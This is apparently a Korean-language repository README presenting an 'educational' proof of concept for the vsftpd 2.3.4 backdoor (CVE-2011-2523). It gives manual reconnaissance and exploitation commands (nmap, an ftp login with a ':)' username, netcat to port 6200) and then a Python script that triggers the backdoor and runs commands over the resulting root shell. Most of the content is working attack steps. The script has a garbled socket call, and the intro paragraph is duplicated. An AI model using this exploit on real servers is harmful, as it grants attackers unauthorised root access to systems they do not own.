
vsftpd 2.3.4 (CVE-2011-2523)는 Reverse Root Shell로 이어지는 치명적인 취약점입니다. 이 저장소에서는 교육 목적으로 이 취약점을 단계별로 악용하는 PoC를 수동 및 자동(Python)으로 진행합니다.
vsftpd 2.3.4(CVE-2011-2523)는 Root Shell로 이어지는 치명적인 취약점입니다. 이 저장소에서는 교육 목적으로 이 취약점을 수동 및 자동(Python)으로 단계별로 악용하는 PoC를 제공합니다.
이 취약점은 무엇에 관한 것인가?
먼저, 이것은 서버 측 취약점이므로 원격으로 악용합니다. 기본적으로 21번 포트에서 FTP 서비스에 연결할 때 :)를 포함한 사용자 이름을 사용하면 시스템이 Root Shell과 함께 TCP 6200 포트를 열도록 트리거됩니다. 따라서 누구나 연결하여 대상 서버에 대한 Root 액세스 권한을 얻을 수 있으며, 이는 재앙입니다. 그럼 실제로 단계별로 진행해 보겠습니다. 먼저 수동으로 전체 개념을 설명한 다음, 자동으로 악용하는 Python 스크립트를 제공하겠습니다.
nmap -p21 -sV -sC -O Target_IP
nmap -p6200 Target_IP
ftp Target_IP
nmap -p6200 Target_IP
이제 포트 6200이 열려 있으므로 이것이 우리의 백도어입니다.
nc -nv Target_IP 6200
마침내 대상 머신에서 Root Shell을 획득했습니다.

수동으로 진행했으니 이제 악용 단계는 다음과 같습니다.
:)를 포함한 사용자 이름을 사용하여 백도어를 트리거합니다.#!/usr/bin/python3
from ftplib import FTP
import socket
import sys
import time
Target_IP = sys.argv[1]
cmd = sys.argv[2]
# Step1: Connect to FTP
try:
ftp = FTP(Target_IP,timeout=2)
ftp.login("user:)","password") # Step2: Send the malicious username
except:
pass
time.sleep(1) # To give a time for the server to open the port (6200)
#Step3: Connect to port (6200) to have a Root Shell
shell = socket.socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
try:
shell.connect((Target_IP,6200))
except:
print("Shell Failed")
#Execute the commands
shell.send(cmd.encode() + b"\n")
print(shell.recv(4096).decode())
#Finally close the connection
shell.close()